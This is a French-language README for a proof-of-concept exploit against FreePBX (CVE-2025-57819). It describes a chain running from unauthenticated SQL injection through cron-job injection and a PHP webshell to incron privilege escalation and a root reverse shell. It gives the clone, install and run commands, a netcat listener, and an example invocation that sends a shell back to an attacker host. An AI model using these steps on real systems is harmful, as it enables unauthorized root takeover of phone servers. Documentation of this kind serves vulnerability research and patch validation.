CVE-2025-57819 — FreePBX SQLi → RCE → Root

PoC couvrant toute la chaîne d'exploitation pour CVE-2025-57819. Une injection SQL non authentifiée basée sur les erreurs dans le module endpoint de FreePBX débouche sur un shell root via l'injection d'une tâche cron et l'escalade de privilèges incron.

Réservé aux tests et aux recherches autorisés uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas.

Ce qu'il fait

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. Extrait les informations de la base de données via une injection basée sur les erreurs sur /admin/ajax.php
2. Injecte une tâche cron qui écrit un webshell PHP à la racine web
3. Attend que cron se déclenche (~60 s), confirme la RCE en tant que asterisk
4. Crée un fichier de déclenchement incron qui exécute le hook fwconsole en tant que root
5. Récupère le reverse shell sur votre listener

Installation

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Utilisation

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Démarrez d'abord un listener :

nc -lvnp 9999

Exécutez ensuite :

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup supprime le webshell et la tâche cron après l'exploitation.

Versions concernées

FreePBX avec le module endpoint installé. Le paramètre brand dans /admin/ajax.php est transmis sans assainissement dans une requête SQL.

Références

• Avis de sécurité FreePBX GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

Auteur

ozcanpng — github.com/ozcanpng — ozcanpng.dev